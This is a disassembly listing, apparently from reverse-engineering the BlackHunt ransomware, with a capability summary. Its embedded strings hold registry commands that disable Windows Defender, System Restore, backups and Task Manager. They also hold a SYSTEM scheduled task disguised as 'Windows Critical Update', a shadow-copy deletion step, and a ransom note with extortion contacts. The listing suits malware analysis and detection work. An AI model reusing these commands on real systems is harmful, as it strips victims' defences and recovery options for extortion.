Function at 0x403a40
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Create thread
Delete file
Disable system features via registry on windows
Disable system restore features via registry on windows
Disable windows defender features via registry on windows
Empty the recycle bin
Enumerate network shares
Get disk information
Get system information on windows
Hide graphical window
Identify system language via api
Persist via run registry key
Schedule task via schtasks
Self delete
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x3afc
call fcn.00439880
mov eax, dword [0x459008]
xor eax, esp
mov dword [esp + 0x3af8], eax
push ebx
push esi
push edi
push 0x44355c
push str.C:ProgramDataVaccine.txt
call fcn.00423e1c
add esp, 8
test eax, eax
je 0x403a88
push eax
call fcn.0042400c
add esp, 4
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x47a330], eax
call fcn.004039c0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
mov edi, eax
push 0
push edi
call esi
movups xmm0, xmmword [str.Commands]
mov cx, word [0x445ca4]
mov word [0x4798b8], cx
movups xmmword [0x4798a8], xmm0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov ecx, eax
mov dword [esp + 0x10], eax
call fcn.00401100
cmp dword [0x4798a4], 0
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [esp + 0xc], 0
jne 0x403b4a
movq xmm0, qword [str.Mutex]
mov eax, dword [0x445cb0]
push str.BLACK_HUNT_MUTEX
push 1
push 0
movq qword [0x4798a8], xmm0
mov dword [0x4798b0], eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0
push eax
mov dword [esp + 0x14], eax
call ebx
test eax, eax
je 0x403b4a
mov esi, dword [esp + 0xc]
nop dword [eax]
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call ebx
test eax, eax
jne 0x403b30
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push 0x80
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
cmp dword [0x46f45c], 0
je 0x403b9e
movups xmm0, xmmword [str.Show_Windows]
mov ax, word [0x445ce0]
push 5
movups xmmword [0x4798a8], xmm0
push edi
movq xmm0, qword [0x445cd8]
movq qword [0x4798b8], xmm0
mov word [0x4798c0], ax
call esi
movups xmm0, xmmword [str.FakeLib]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, 0xc8
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
movups xmmword [0x4798a8], xmm0
nop dword [eax]
push 0x445cf4
call edi
push 0x445d0c
call ebx
push str.FAKE.dll
call edi
push 0x445d2c
call ebx
sub esi, 1
jne 0x403bc0
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x403c10
push str.DEBUGGER_FOUND
call fcn.00401d20
add esp, 4
lea eax, [esi + 1]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x3af8]
xor ecx, esp
call fcn.0040a2df
mov esp, ebp
pop ebp
ret
movups xmm0, xmmword [str.System_Language]
movups xmmword [0x4798a8], xmm0
movups xmm0, xmmword [0x445d68]
movups xmmword [0x4798b8], xmm0
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
movzx eax, ax
cmp eax, 0x82c
je 0x4053ad
cmp eax, 0x42c
je 0x4053ad
cmp eax, 0x42b
je 0x4053ad
cmp eax, 0x423
je 0x4053ad
cmp eax, 0x437
je 0x4053ad
cmp eax, 0x42f
je 0x4053ad
cmp eax, 0x440
je 0x4053ad
cmp eax, 0x819
je 0x4053ad
cmp eax, 0x428
je 0x4053ad
cmp eax, 0x442
je 0x4053ad
cmp eax, 0x843
je 0x4053ad
cmp eax, 0x443
je 0x4053ad
cmp eax, 0x422
je 0x4053ad
cmp eax, 0x429
je 0x4053ad
cmp eax, 0x41f
je 0x4053ad
call fcn.004031d0
test eax, eax
jne 0x403d31
movups xmm0, xmmword [str.Get_Location]
mov ax, word [0x445d90]
push str.Bad_Location_ERROR
movups xmmword [0x4798a8], xmm0
mov word [0x4798c0], ax
movq xmm0, qword [0x445d88]
movq qword [0x4798b8], xmm0
call fcn.00401d20
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x3af8]
xor ecx, esp
call fcn.0040a2df
mov esp, ebp
pop ebp
ret
mov eax, dword [0x46f45c]
cmp eax, 0x1e
jne 0x403dcd
movups xmm0, xmmword [str.Status_Windows]
mov eax, dword [0x445dd4]
mov dword [0x4798c0], eax
mov ax, word [0x445dd8]
movups xmmword [0x4798a8], xmm0
mov word [0x4798c4], ax
movq xmm0, qword [0x445dcc]
mov eax, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
movq qword [0x4798b8], xmm0
call eax
push 5
push eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
push 4
call fcn.0040a413
add esp, 4
mov dword [esp + 0x18], eax
lea edx, [esp + 0x18]
lea ecx, [esp + 0x20]
mov dword [eax], 0x403470
call fcn.004053d0
mov eax, dword [esp + 0x18]
test eax, eax
je 0x403db8
push 4
push eax
call fcn.0040a446
add esp, 8
lea ecx, [esp + 0x20]
call fcn.00402040
cmp dword [esp + 0x24], 0
je 0x403e1f
jmp 0x4053c4
cmp eax, 0x14
je 0x403dd7
cmp eax, 0xa
jne 0x403e1f
movups xmm0, xmmword [str.info_windows]
mov ax, word [0x445df4]
push 0x445750
movups xmmword [0x4798a8], xmm0
mov word [0x4798c0], ax
movq xmm0, qword [0x445dec]
movq qword [0x4798b8], xmm0
call fcn.00426c64
mov eax, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
add esp, 4
call eax
push 5
push eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
push str.START
call fcn.00401d20
mov eax, dword [0x445e14]
add esp, 4
movups xmm0, xmmword [str.Initialize]
mov dword [0x4798b8], eax
mov ax, word [0x445e18]
push 0x445e1c
push 0
push 0x1f0001
movups xmmword [0x4798a8], xmm0
mov word [0x4798bc], ax
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov edi, eax
mov dword [esp + 0x1c], edi
test edi, edi
jne 0x403e86
push str.BlackKeys
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edi, eax
mov dword [esp + 0x1c], edi
push str.Create_Mutex
jmp 0x403e8b
push str.Open_Mutex
call fcn.00401d20
add esp, 4
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test ebx, ebx
je 0x403ed7
cmp ebx, 0x80
je 0x403ed7
call esi
push eax
push str.cannot_get_ownership_of_mutex._nwait_for_single_object_error_nGetLastError_:__lu
call fcn.00401d20
push str.initialize_KeyPairs_And_ID_Failed._Contact_Administrator
call fcn.00401d20
add esp, 0xc
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403ea8
push str.got_ownership_of_mutex
call fcn.00401d20
add esp, 4
push str.INITIALIZING
call fcn.00401d20
add esp, 4
call fcn.00402ad0
test eax, eax
jne 0x403f2c
push str.initialize_KeyPairs_And_ID_Failed._Contact_Administrator
call fcn.00401d20
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x3af8]
xor ecx, esp
call fcn.0040a2df
mov esp, ebp
pop ebp
ret
push str.initialize_complete_successfully.
call fcn.00401d20
add esp, 4
push str.Create_Resources
call fcn.00401d20
movups xmm0, xmmword [str.Set_Resources]
mov eax, dword [0x44605c]
add esp, 4
mov dword [0x4798c0], eax
movups xmmword [0x4798a8], xmm0
movq xmm0, qword [0x446054]
movq qword [0x4798b8], xmm0
call fcn.00402080
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwareClasses.Hunt2___f
call fcn.00402f10
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwareClasses.Hunt2DefaultIcon___ve__t_REG_SZ__d__C:ProgramDataBlackHunt_Icon.ico___f
call fcn.00402f10
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwareClassesHunt2___f
call fcn.00402f10
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwareClassesHunt2DefaultIcon___ve__t_REG_SZ__d__C:ProgramDataBlackHunt_Icon.ico____f
call fcn.00402f10
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun___v__2C5F9FCC_F266_43F6_BFD7_838DAE269E11___t_REG_SZ__d__C:ProgramDataBlackHunt_ReadMe.hta___f
call fcn.00402f10
push 0
push 0
push 0
push 0x8000000
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
movups xmm0, xmmword [str.Registry_Edits]
mov eax, dword [0x4464cc]
mov dword [0x4798c0], eax
mov ax, word [0x4464d0]
movups xmmword [0x4798a8], xmm0
push str.Registry_Edits
movq xmm0, qword [0x4464c4]
movq qword [0x4798b8], xmm0
mov word [0x4798c4], ax
call fcn.00401d20
add esp, 4
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindows_Defender___v__DisableAntiSpyware___t_REG_DWORD__d_1__f
call fcn.00402f10
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindows_DefenderReal_Time_Protection___v__DisableRealtimeMonitoring___t_REG_DWORD__d_1__f
call fcn.00402f10
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindows_DefenderSpynet___v__SubmitSamplesConsent___t_REG_DWORD__d_2__f
call fcn.00402f10
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindows_DefenderThreats___v__Threats_ThreatSeverityDefaultAction___t_REG_DWORD__d_1__f
call fcn.00402f10
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindows_DefenderThreatsThreatSeverityDefaultAction___v__Low___t_REG_DWORD__d_6__f
call fcn.00402f10
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindows_DefenderThreatsThreatSeverityDefaultAction___v__Medium___t_REG_DWORD__d_6__f
call fcn.00402f10
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindows_DefenderThreatsThreatSeverityDefaultAction___v__High___t_REG_DWORD__d_6__f
call fcn.00402f10
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindows_DefenderThreatsThreatSeverityDefaultAction___v__Severe___t_REG_DWORD__d_6__f
call fcn.00402f10
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindows_DefenderUX_Configuration___v__Notification_Suppress___t_REG_DWORD__d_1__f
call fcn.00402f10
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer___v__NoClose___t_REG_DWORD__d_1__f
call fcn.00402f10
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer___v__StartMenuLogOff___t_REG_DWORD__d_1__f
call fcn.00402f10
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem___v__DisableChangePassword___t_REG_DWORD__d_1__f
call fcn.00402f10
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem___v__DisableLockWorkstation___t_REG_DWORD__d_1__f
call fcn.00402f10
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem___v__NoLogoff___t_REG_DWORD__d_1__f
call fcn.00402f10
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem___v__DisableLockWorkstation___t_REG_DWORD__d_1__f
call fcn.00402f10
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindows_NTSystemRestore___v__DisableConfig___t_REG_DWORD__d_1__f
call fcn.00402f10
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindows_NTSystemRestore___v__DisableSR___t_REG_DWORD__d_1__f
call fcn.00402f10
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsWinRE___v__DisableSetup___t_REG_DWORD__d_1__f
call fcn.00402f10
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsBackupClient___v__DisableBackupLauncher___t_REG_DWORD__d_1__f
call fcn.00402f10
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsBackupClient___v__DisableRestoreUI___t_REG_DWORD__d_1__f
call fcn.00402f10
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsBackupClient___v__DisableSystemBackupUI___t_REG_DWORD__d_1__f
call fcn.00402f10
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsBackupClient___v__DisableBackupUI___t_REG_DWORD__d_1__f
call fcn.00402f10
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem___v__DisableTaskMgr___t_REG_DWORD__d_1__f
call fcn.00402f10
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer___v__NoRun___t_REG_DWORD__d_1__f
call fcn.00402f10
push 0x104
lea eax, [esp + 0x45c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [0x47989c]
cmp eax, 0x1e
je 0x4041ab
cmp eax, 0x3c
je 0x4041ab
push str.Set_StartUp
call fcn.00401d20
movups xmm0, xmmword [str.Set_Startup]
mov ebx, dword [esp + 0x14]
lea eax, [esp + 0x1c]
add esp, 4
mov dword [esp + 0x18], 0
movups xmmword [0x4798a8], xmm0
movq xmm0, qword [0x447d28]
push eax
push ebx
movq qword [0x4798b8], xmm0
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [esp + 0x18], 1
jle 0x404186
push dword [eax + 4]
push ebx
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
push eax
lea eax, [esp + 0x45c]
push eax
lea eax, [esp + 0x60]
push str._c_SCHTASKS.exe__Create__RU__NT_AUTHORITYSYSTEM___sc_onstart__TN__Windows_Critical_Update___TR___s__s___F
push eax
mov eax, dword [sym.imp.USER32.dll_wsprintfW]
call eax
add esp, 0x10
jmp 0x4041a2
lea eax, [esp + 0x458]
push eax
lea eax, [esp + 0x5c]
push str._c_SCHTASKS.exe__Create__RU__NT_AUTHORITYSYSTEM___sc_onstart__TN__Windows_Critical_Update___TR___s___F
push eax
mov eax, dword [sym.imp.USER32.dll_wsprintfW]
call eax
add esp, 0xc
lea ecx, [esp + 0x58]
call fcn.00402f10
cmp dword [0x4788e8], 0
je 0x40422f
movups xmm0, xmmword [str.Safemode_Boot_Configuration]
push str.Configuration_For_SafeMode_Boot
movups xmmword [0x4798a8], xmm0
movups xmm0, xmmword [0x447ef0]
movups xmmword [0x4798b8], xmm0
movups xmm0, xmmword [0x447f00]
movups xmmword [0x4798c8], xmm0
movq xmm0, qword [0x447f10]
movq qword [0x4798d8], xmm0
call fcn.00401d20
add esp, 4
call fcn.00403020
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.Restarting_System
call fcn.00401d20
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x3af8]
xor ecx, esp
call fcn.0040a2df
mov esp, ebp
pop ebp
ret
push str.Setup_ReadMe_Note
call fcn.00401d20
movups xmm0, xmmword [str.ReadMe_Setup]
mov ax, word [0x447fb8]
add esp, 4
mov word [0x4798c0], ax
lea eax, [esp + 0xe68]
movups xmmword [0x4798a8], xmm0
movq xmm0, qword [0x447fb0]
push 0x2c92
push str.iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNiWAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3RvcnkIDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXEIDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1Ii8IDxwaG90b3Nob3A6VGV4dExheWVycz4gPHJkZjpCYWcIDxyZGY6bGkgcGhvdG9zaG9wOkxheWVyTmFtZT0iSHVudCAgIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSJIdW50ICAiLz4gPHJkZjpsaSBwaG90b3Nob3A6TGF5ZXJOYW1lPSJCbGFjayAgIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSJCbGFjayAgIi8IDxyZGY6bGkgcGhvdG9zaG9wOkxheWVyTmFtZT0iMi4wIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSIyLjAiLz4gPC9yZGY6QmFnPiA8L3Bob3Rvc2hvcDpUZXh0TGF5ZXJzPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI_PvFKMOAAAAS2SURBVGje7Vq_ixNBFM55vQRtLLe2
push eax
movq qword [0x4798b8], xmm0
call fcn.00421900
add esp, 0xc
lea eax, [esp + 0xe68]
push str.http:__sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
push str.Teikobest_gmail.com
push 0x46f438
push str.NCz45DXO7_gmail.com
push eax
push str.__DOCTYPE_html__html_lang_en___head__meta_charset_UTF_8___meta_name_viewport__content_widthdevice_width__initial_scale1.0____meta_http_equiv_x_ua_compatible__content_ie9___meta_charset_UTF_8___HTA:APPLICATION_icon___WINDOWSTATE_maximize__scroll_no__SELECTION_yes__contextmenu_no__caption_yes__SYSMENU_no__innerBorder_yes__SHOWINTASKBAR_yes__singleInstance_yes_____meta_name_viewport__content_width__device_width_initial_scale1.0___style_a_abbr_acronym_address_applet_article_aside_audio_b_big_blockquote_body_canvas_caption_center_cite_code_dd_del_details_dfn_div_dl_dt_em_embed_fieldset_figcaption_figure_footer_form_h1_h2_h3_h4_h5_h6_header_hgroup_html_i_iframe_img_ins_kbd_label_legend_li_mark_menu_nav_object_ol_output_p_pre_q_ruby_s_samp_section_small_span_strike_strong_sub_summary_sup_table_tbody_td_tfoot_th_thead_time_tr_tt_u_ul_var_videomargin:0_padding:0_border:0_font_size:100___font:inherit_vertical_align:baselinearticle_aside_details_figcaption_figure_footer_header_hgroup_menu_nav_sectiondisplay:blockbodyline_height:1ol_ullist_style:noneblockquote_qquotes:noneblockquote:after_blockquote:before_q:after_q:beforecontent:_content:nonetableborder_collapse:collapse_border_spacing:0__style__style_body_htmlbackground_color:dadada_font_family:Segoe_UI_Tahoma_Geneva_Verdana_sans_serif_font_weight:600_font_size:16pxatext_decoration:none_color:0483abdiv.headermargin_top:15px_margin_bottom:5px_width:100__div.header_h1width:97___text_align:left_font_size:30px_font_weight:900_margin:autodiv.header_h1_spanblackdisplay:inline_block_color:000_margin_right:0_padding:2px_2pxdiv.header_h1_spanhunterdisplay:inline_block_color:e90303_background_color:000_padding:2px_8px_margin_left:0div.header_h1_spanhunter_spanversionfont_size:12pxdiv.message_div.head_encrypted_msgwidth:100__div.message_div.head_encrypted_msg_h1font_size:330___width:97___margin:auto_text_align:center_font_weight:700div.message_div.head_encrypted_msg_h1_spandisplay:inline_block_color:000_background_color:e90303_padding:0_8px_0_8px_margin_right:3pxdiv.message_div.head_attention_msgwidth:97___margin:auto_text_align:center_margin_top:1___border:1px_solid_e90303_background_color:f1caca_border_radius:5px_font_size:250___padding_top:10px_padding_bottom:10pxdiv.message_div.head_attention_msg_pmargin_bottom:.5__div.message_div.head_attention_msg_p_spancolor:e90303div.contentmargin:auto_margin_top:2__div.content_div.content_head_msgfont_size:32px_text_align:left_font_weight:600div.content_div.content_boxesmargin:auto_margin_top:2__div.content_div.boxwidth:96___margin:auto_border_radius:5px_margin_bottom:30pxdiv.content_div.content_left_boxbackground_color:c5cfd8_padding:40px_0_40px_20px_font_size:24px_position:relative_border_left:15px_solid_1878cfdiv.content_div.content_left_box_h3.left_box_titlebackground_color:1878cf_display:inline_block_padding:10px_10px_border_radius:5px_color:fff_position:absolute_top:_22px_margin_left:auto_margin_right:auto_left:0_right:0_width:20___text_align:centerdiv.content_div.content_left_box_div.content_contact_directly_font_weight:600_important_line_height:1.4emdiv.content_div.content_left_box_div.content_contact_directly_h4font_size:24px_font_weight:500_margin_top:8pxdiv.content_div.content_left_box_div.content_contact_directly_h4toxfont_weight:600_display:inline_block_margin_left:3pxdiv.content_div.content_left_box_div.content_contact_directly_div.tox_idmargin_left:6__div.content_div.content_left_box_div.content_contact_directly_h4tox_idfont_size:24pxdiv.content_div.content_left_box_div.content_contact_directly_ptox_id_pfont_size:16pxdiv.content_div.content_left_box_div.content_contact_directly_h4download_toxdisplay:inline_block_margin_left:6__div.content_div.content_left_box_div.content_contact_directly_pdownload_tox_pdisplay:inline_blockdiv.content_div.content_left_box_div.content_contact_directly_h4emaildisplay:inline_block_font_weight:600_margin_left:3pxdiv.content_div.content_left_box_div.content_contact_directly_pemail_pd
push 0x46f460
call fcn.00401e80
add esp, 0x1c
push 0x46f438
push str.Teikobest_gmail.com
push str.NCz45DXO7_gmail.com
push str.As_you_can_see_we_have_penetrated_your_whole_network_due_some_critical_network_insecurities_nAll_of_your_files_such_as_documents__dbs_and..._Are_encrypted_and_we_have_uploaded_many_important_data_from_your_machines__nand_believe_we_us_we_know_what_should_we_collect._n_n_nHowever_you_can_get_your_files_back_and_make_sure_your_data_is_safe_from_leaking_by_contacting_us_using_following_details_:_n_n_nPrimary_email_:_s_n_nSecondary_email_backup_email_in_case_we_didnt_answer_you_in_24h__:_s_n_nYour_machine_Id_:__s__nuse_this_as_the_title_of_your_email_n_n_n_Remember__if_we_dont_hear_from_you_for_a_while__we_will_start_leaking_data_
push 0x4788f8
call fcn.00401e80
add esp, 0x14
cmp dword [0x4798a0], 0
je 0x404305
movups xmm0, xmmword [str.FakeUpdate_Setup]
mov ax, word [0x44ebac]
mov word [0x4798c8], ax
movups xmmword [0x4798a8], xmm0
movups xmm0, xmmword [0x44eb9c]
movups xmmword [0x4798b8], xmm0
call fcn.004032f0
push str.Deleting_shadowss
call fcn.00401d20
